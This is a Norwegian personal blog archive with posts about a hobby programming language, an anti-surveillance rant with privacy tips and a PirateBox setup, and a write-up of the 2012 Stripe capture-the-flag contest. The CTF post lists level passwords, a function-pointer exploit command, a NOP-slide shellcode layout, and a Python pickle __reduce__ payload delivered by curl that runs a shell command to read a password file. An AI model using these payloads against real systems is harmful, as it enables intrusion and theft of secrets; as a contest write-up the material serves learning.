Return value: 27
DUDE !

Parseren er basert på Flex og Bison. Du trenger ikke disse for å kompilere prosjektet, men du trenger dem hvis du skal endre syntaks. Jeg har brukt flex 2.5.35 Apple(flex-31) og GNU Bison 3.0.Håndsømmen er begått av meg i løpet av noen kvelder og klokker inn på ca 1000 linjer c++ inkludert headere (hvorav mesteparten går med i implementasjonen av AST-noder.). Kildekode og eksempelfiler finner du her: https://github.com/hansj66/Scripture

(PS. Dette er eksempelkode, som er ment å leke med. Den har ikke produksjonskvalitet. ASTen lekker litt, men “new” er litt lettere å lese enn “std::make_shared<Ugly type>(something)” – og jeg har, som ungene, ikke giddet å rydde opp etter å ha lekt meg.)

Scripture er nå interpreterende, men jeg ser for meg at det burde være ganske grei skuring å bygge om koden til å kunne kompilere til intel hex-filer som enkelt kan flashes til en mikrokontroller. The Internet of things and all that.

Egentlig, så var det jo behovet for lett parametriserbart tannhjuldesign som sporet meg av fra forrige prosjekt. Jeg innser nå at Scripture er nok en avsporing, men jeg har hatt et intenst behov for å lage noe litt vimsete og språkaktig siden jeg så Guy Steele og Richard gabriel sin 50-in-50-talk på JAOO i 2008. Det klødde og nå har jeg klødd tilbake. M.a.o. på tide å fortsette med det jeg egentlig holdt på med.

PS. Selv om syntaksen er litt surrete, så er det rimelig greit å skru om dette til å bli ganske C-likt i .l og .y-fila(, hvis man er på utkikk etter et litt mer sobert eksempel.) Navngiving fra token-nivå og inn i C++-koden er non-insane. Du trenger Qt for å bygge Scripture (Jeg kjører fremdeles med 4.8.4, men nyere Qt bør fungere). Kjør “qmake -t vcapp” fra bin-folderen i din toolkjede for å få laget prosjekt for andre plattformer. Det skal være relativt uproblematisk å kompilere dette med eks MS Visual Studio eller gcc.

March 2014

The Anarchist Code Book (del 1)

By |March 29th, 2014|Programming|

Jeg er i overkant lett å distrahere, så behovet for å designe et tannhjul til den nye 3D-printeren har nå resultert i at jeg har kommet i skade for å begå et aldri så lite statisk typet og interpreterende språk. Det er ikke et spesielt elegant, nyskapende eller esoterisk språk. Det vil neppe bli omtalt på noen konferanser. Det er rimelig ubrukelig til alle praktiske formål.

Men,…

Det har kontrollstrukturer, loops, funksjoner, et lite typesystem, basic I/O, operatorer og uttrykksevaluering.

Formålet med å lage dette var å, en gang for alle, bli komfortabel nok med GNU Bison, til at jeg kunne lage noe annet.  Jeg har lekt med andre parser-generatorer tidligere, men det har som regel endt i blindveier eller stygge grisehack der vakre syntaks-trær istedet burde vært dyrket fram.

Jeg føler at jeg har lært ganske mye gjennom implementasjonen av dette, til tross for at jeg kun har produsert noen hundrede kodelinjer over noen få kvelder.

La meg understreke at dette ikke er fanboy-/-rockstar-hot materie. Dette er pensum. Jeg burde lært det på skolen, men jeg var dessverre i overkant lett å distrahere den gangen også.

Jeg har lenge lekt med ideen om et språk, skreddersydd for å kunne generere visse typer organiske objekter, tidligere kun for visualisering, men nå for 3D-printing. Jeg er fullstendig klar over at man uten problem kan programmere dette på tradisjonelt vis, eller til nød lage seg en liten DSL under et mer tradisjonelt språk, men hva er morsomt med det ?

Å designe et fullverdig programmeringsspråk er en relativt heftig materie, og opplevelsen man får ved å gi seg i kast med noe marginalt mer komplekst enn en enkel kalkulator kan minne ganske mye om å svømme i en ikke-newtonsk væske. Tar du i litt for mye  så blir du sittende bom fast. Tar du i litt for lite, så synker du til bunns. En akkurat passe porsjon av mindfulness må til. Forvent en lavere knotting-til-“hmm…”-ratio enn du kanskje er vant til.

Men,…

I likhet med kjemi, så trenger man heldigvis ikke kunne hele pensum for å ha det moro. Man trenger bare kunne nok til at man nesten havner på akutten.

Jeg ble overrasket over hvor lite kode som faktisk skulle til for å spesifisere et enkelt språk og deretter implementere en parser med tilhørende interpreter for det (Når jeg tenker etter, så trenger du faktisk ikke implementere en interpreter for å implementere et en interpreter, men de kan vi komme tilbake til senere)

Å kjøre programmer skrevet i sitt eget språk er et geek-rush fullt på høyde med å forbedre meat-space med 3D-printing.

Dere aner kanskje hvor det bærer. Jeg er i ferd med å legge hodet på blokka og er svanger med et nytt epos. Jeg skal forsøke å holde det rimelig plattform og kompilator-agnostisk, men sluttproduktet kan nok inneholde spor av Qt og C++11.

For 3D-printerprosjektet sin del, så håper jeg at jeg klarer å avslutte denne serien før jeg begynner å leke med tanken på å emitte kode til CILJava bytecodeLLVM IR eller en eller annen udda mikrokontroller.

For å komme i mål, så var det nødvendig å dra fram Drageboka mi [1] fra 1986, lese manualer og tutorials [2][3] samt oppsøke  Stack Overflow litt hyppigere enn vanlig. Det beste A-Å-eksempelet jeg har sett så langt er faktisk en av samplene til boost::spirit, men jeg har valgt å ikke bruke det som utgangspunkt, siden boost-gjengen åpenbart befinner seg på ei grein over meg i evolusjonstreet. De har også rappet alt tankegodset fra yacc, bare gjørt det enda litt hæsligere å implementere. Boost makes my head hurt – really, really bad. Merkelig nok, så blir jeg warm & fuzzy all over når jeg tenker på generics i C#, men templakåtskap i C++ resulterer gjerne i kuldegysninger og akutt higen etter sterke psykofarmaka.

Bortsett fra nevnte spirit-eksempel, så er det tynt med gode eksempler der ute. Det meste er gammelt C-ræl. Mye må derfor suges fra egen pupp eller utledes fra kommentarfeltene til “Hvordan i hule?”-poster på StackOverflow. Det kan bety en av to ting:

  1. Det er litt vanskelig.
  2. Det er veldig, veldig enkelt. Faktisk så banalt at normalt oppegående utviklere ikke vil nedverdige seg, eller risikere å besudle nett-tilstedeværelsen sin ved å skrive om det.

Jeg håper på “1”, frykter vel kanskje “2” , men er heldigvis såpass gammel at jeg egentlig gir blanke. Hvis en av leserne finner det nyttig, så er det verdt å dumme seg litt ut for min del.

[1] “Compilers Principles, Tehniques and Tools”, Aho, Seti, Ullman. Addison-Wesley, 1986 (Vurder kanskje en litt nyere versjon enn min ;))

[2] “Lex & Yacc Tutorial”, Tom Niemann

[3] “Lex & Yacc”, Levine, Mason, Brown. O’Reilly

August 2013

Vive la Resistance!

By |August 3rd, 2013|Electronics, Programming, Rants|

Jeg husker første gang vi så “Terminator” på kino. Den hadde 18-års grense og hadde fått terningkast “1” av trønderbartkultureliten i Adresseavisa. M.a.o. et must å se for en geek i beige genser som enda ikke hadde lov til å kjøpe øl. Storyen var glitrende. Skynet-nettverket hadde blitt selvbevisst og var travelt opptatt med å gjøre slutt på menneskeheten. Droner summet over hodene, og roboter vasset i hodeskaller. Rent gull i 1984  !

Etter alt oppstyret i etterkant av Snowden og PRISM-avsløringene, så er jeg ikke helt sikker på om det er sci-fi lenger.

Alle går nå, med den største selvfølgelighet, frivillig rundt med aktive sporingsenheter på seg. Alle aksepterer at nysgjerrige fremmede kan lytte til private samtaler, samt lese innholdet i private brev. Alle aksepterer at andre kan piratkopiere denne informasjonen og lagre den til evig tid. Alle ser også ut til å akseptere at autonome roboter svermer rundt og dreper sivile – så lenge det skjer på TV. Merkelig nok, så har ingen heller problemer med at trusselvurderinger ikke lenger tas av mennesker.

Jeg lurer på en ting. Hvordan hadde du reagert hvis..

  • du at all den fysiske posten din hadde vært åpnet og kopiert ? (den elektroniske blir det)
  • du  en mann i grå dress notere i en blokk hver gang du kjørte inn og ut av oppkjørselen din ? (tenk på trackeren din)
  • du hørte fremmed klikking og fnising når du snakket i telefonen ? (alle lagrer hvem du ringer, men ringer du feil land, så lagres også hele samtalen din)
  • du  et fremmed videokamera montert på datamaskina di   ? (videokameraet på laptoppen din er rimelig enkelt å aksessere, og nekter du å installere automatiske oppdateringer, så får du nok litt problemer med nettbanken etter en stund…)
  • du at ekspeditøren noterte ned navnet ditt og det du hadde kjøpt hver gang du var i butikken ? (Elektroniske betalingsløsninger eksisterer ikke for å gjøre livet ditt enklere)
  • du hørte kameralukkeren når ansiktsgjenkjenningsalgoritmene hadde tagget deg i et gatekamera (Planlagt Londontur i påska ?)
  • du ble truet med rettsforfølgelse hvis du nektet villt fremmede å komme inn i huset ditt ? (I flere land er det kriminelt å ikke gi fra seg krypteringsnøkler til myndighetene hvis de ber om det. Du trenger ikke være mistenkt eller siktet for noe)

Dessverre er det lite meningsfylt å melde seg inn i hylekoret nå. Det er for sent. Teknologien er der og den forsvinner ikke.  Idioter har i lang tid fasilitert denne informasjonsdystopien i form av bevisstløse politiske vedtak. Måtte de omtales i samme kapittel som Quisling i historiebøkene som kommer. De som svek sitt folk til fordel for fremmede makter og menneskefiendtlige forretningsmodeller.

Dessverre er det ikke bare politikerne som skal ha skylda. Bevisstløse idioter har valgt dem og bevisstløse idioter synes det er for komplisert materie til at de tør å stille spørsmål, eller protestere.

Jeg lurer  fælt på hvor mange som har tenkt på hva som skjer hvis trackeren deres er på feil sted til feil tid, eller hva som skjer om en som kjenner en som kjenner en som kjenner deg – googler etter “feil” ting ? Så lenge staten er god, så er det jo ingenting å frykte. At det er en algoritme som klassifiserer deg som venn eller potensiell fiende – bl.a. basert på informasjon om telefonen din har vært innen en radius av en annen telefon er det kanskje ikke så mange som tenker på ?

Så hva kan en stakkar gjøre ? Jo…

  1. Første bud er å slå av trackeren din. Du trenger den ikke  (alternativt slå kloa i en Freedom Phone).
  2. Andre bud er å betale sine varer med cash eller BitCoin (Hvorfor tror du BitCoin forsøkes svertet i media ? Fordi den kan brukes til hvitvasking, eller fordi det er en valuta utenfor nasjonal kontroll ?).
  3. Tredje bud er å ikke lagre sine data hjemme hos noen du ikke stoler på – d.v.s.  i “skya” (google docs, office 365, icloud, dropbox etc). Noen nevnte for litt siden at den største salgsbløffen i forbindelse med “cloud” var at skya ikke eksisterte. Skya er en haug med servere. Gjerne lokalisert i et annet land – underlagt en annen jurisdiksjon. Bummer.
  4. Fjerde bud er å kryptere sine data i flere lag (GPG funker, men jeg undres på om man kanskje burde kanskje ha et lag til. Jeg frykter at oppdagelsen av en ny og  lynrask faktoreringsalgoritme neppe ville blitt publisert før den ble hemmeligstemplet – gitt at den ble oppdaget i feil kretser).  Krypteringstech er underlagt eksportrestriksjoner og klassifiseres som “våpen”, mens overvåkningstech ikke er det. Den logiske konklusjonen er at “våpen” bare er farlige nok til å reguleres hvis de kan brukes mot de du normalt er tvunget til å akseptere maktbruk fra. D.v.s. staten.
  5. Femte bud er å gjøre det vanskeligere å følge etter deg ved å kryptere sin kommunikasjon og obfuskere sine vandringer på nett  (Tor og I2P), men styr for guds skyld unna trangen til å hoste et exit-node.
  6. Sjette bud er å bruke et noenlunde fornuftig operativsystem (Jeg ser de kule gutta kjører Hardened Gentoo).
  7. Syvende bud er å ikke annonsere for gud og hvermann hvem man er. Anonymitet er konge.
  8. Åttende bud er å ikke sende sin kommunikasjon over transportlag som er lette å overvåke. Fiber er bra  for dem. Meshnett er bra for deg.
  9. Niende bud er å bruke åpen og modifiserbar hardware og software i alle ledd. Ideelt, så burde man designe sine egne kretser og sin egen datamaskin. Omfavn teknologier som ikke logger IP/MAC-adresser, eller krever at du må ha tillit til en tredjepart for autentisering og autorisering. Må du logge på med et passord et sted, så er det bare spørsmål om tid før noen stikker av med passordhashen (som noen glemte å salte). Og da er du i deep dodo hvis du kan ha kommet i skade for å gjenbruke et passord.
  10. Tiende bud er å være  *TRASSIG*. Enter “PirateBox”. Jeg vil tro at et anonymt og lettgjemt dead drop for informasjon må være en overvåkers verste mareritt. Well… –  Embrace change, doodz !

MR3020 routere kan kjøpes fra Hong Kong til under 200 spenn ink frakt. Erstatter du den orginale firmwaren med OpenWRT, så kan du installere PirateBox på dem.

Med en Liten “Cruzer Fit”, så får 16 GB å leke med med en relativt liten formfaktor for nesten ingen penger. Totalt kan du regne med å bruke ca 300 NOK. Da har du en helt anonym wi-fi filserver og chat som alle innen rekkevidde kan aksessere. Den kan kjøres fra et USB power (5V) og trekker under en amp. Det burde være fullt mulig å kline opp disse med solcelledadet power hist og her – like godt gjemt som en gjennomsnittlig geocache. Kommer det en release med meshnett, så blir det virkelig moro.

Når routeren er ferdig konfigurert, så er det bare å koble til riktig SSID, og all trafikk vil deretter redirectes til denne siden:

Anonym chat. Anonym deling av informasjon. Alt servet fra hardware som er mindre enn en snuseske :)

PS. Har du virkelig lyst til å miste nattesøvnen, så anbefaler jeg å lese “Cypherpunks: Freedom and the Future of the Internet”. (Ha i bakhodet at den er skrevet en god stund før PRISM-avsløringene)

February 2012

Game over

By |February 29th, 2012|Programming|

Etter et par krigsråd på gtalk, så trodde jeg vi  hadde strategien klar for å ta flagget i kveld. For noen minutter siden, så poppet dog denne meldinga opp i shellet:

The system is going down for halt in 15 minutes!
This CTF has ended. Thanks for playing!
Source code and solutions will be published in the next week or two.

- ctf@stripe.com

Vi klarte aldri å ta flagget, så det blir ikke noen T-skjorte. Tenker derfor skamløst å vrenge ut av meg alle løsninger vi kom fram til. Antar det kommer litt mer detaljer med kodeeksempler på Stripe sine sider etterhvert.

Level2:

Enkel triksing med path for å få fyrt opp et annet program enn det tilsiktede

=> passord: kxlVXUvzv

Level3:

Manipulering av cookie for å lure PHP til å pumpe ut passord for neste nivå. Løsbar med curl eller Firefox

=> passord: Or0m4UX07b

(credits: Takk til Darth Dahl for curl-tutorial !)

Level4:

Buffertriksing for å få en manipulert en funksjonspeker i retning av en funksjon som nok burde vært fjernet.

Adressen til funksjonen som skulle kjøres var:  0x804875b.

Ved å indeksere en funksjonspekerarray med -28, og med adressen som parameter, så forsøkte koden å eksekvere en shellkommando med samme navn som strengverdien av adressen (\x5b\x87\x04\x08\)

/levels/level03 -28 $(printf “\x5b\x87\x04\x08\x0”)

Ved  lage en link til /bin/sh med dette navnet, så fikk du fyrt et shell med rettigheter for level05

=> passord: i5cBbPvPCpcP

Level5: 

Eksekvering av kode på stacken (gammeldags, men moro)

Litt moro effekt her var at shellkoden vår faktisk var feil. Trodde den var 4 bytes for lang iom at jeg fikk segfault all over the place og kortet den derfor inn. Viste seg at den virket pga at jeg ved et uhell sendte den inn som en 0-terminert streng og dermed overskrev least significant byte på retradressen på stacken. Dette medførte at den returnerte til NOP-sklia i 95% av tilfellene.

[NOP slide][payload rappet fra [2]][0 byte (istedet for full returadresse du uansett ikke klarer å estimere)]

=> passord: fzfDGnSmd317

(credits: Co-op mode med Eivind .T)

Level6:

Enormt tillitsfull deserialisering av objekter i Python. Implementerte en custom __reduce__ – som gjorde ting som ikke hadde så mye med deserialisering å gjøre. Ble faktisk litt tilhenger av sterkt typede språk etter denne.

class MyJob(object):
...def __reduce__(self):
...return(os.system, (urllib.quote("cat /home/level06/.password > /tmp/tmp.TXiEUf3uRC/pw"),))
og dumpet pickled resultat inn i urrlib.quote for å få post-data som skulle sendes til curl
level05@ctf6:/tmp/tmp.TXiEUf3uRC$ curl localhost:9020 -d 'aaaargh%3B%20job%3A%20cposix%0Asystem
%0Ap0%0A%28S%27cat%20/home/level06/.password%20%3E%20/tmp/tmp.TXiEUf3uRC/pw%27%0Ap1%0Atp2%0ARp3%0A.'

=> passord: SF2w8qU1QDj

(credits: Co-op mode med Eivind .T. Takker også for en-dags Python-kurs)

– og så var det over…

Det ble ingen T-skjorte, men fy flate hvor moro det var mens det sto på :)

Alt du egentlig trengte å vite:

[1] “Hacking – The Art of exploitation” (drar litt på årene, men overraskende bra. Glad den allerede sto i bokhylla…)

[2] “A Shellcode: The payload” : http://www.tenouk.com/Bufferoverflowc/Bufferoverflow5.html

[3] “Smashing The Stack For Fun And Profit”, Phrack, issue 49, file 14, 1996, http://www.phrack.org/issues.html?issue=49&id=14#article

[4] “Exploiting misuse of Python’s “pickle”http://blog.nelhage.com/2011/03/exploiting-pickle/

PS. Vil også rette en stor takk til fjortisene som slengte rundt seg med forkbomber den siste timen i konkurransen. Håper virkelig det går dere riktig så ille videre i livet.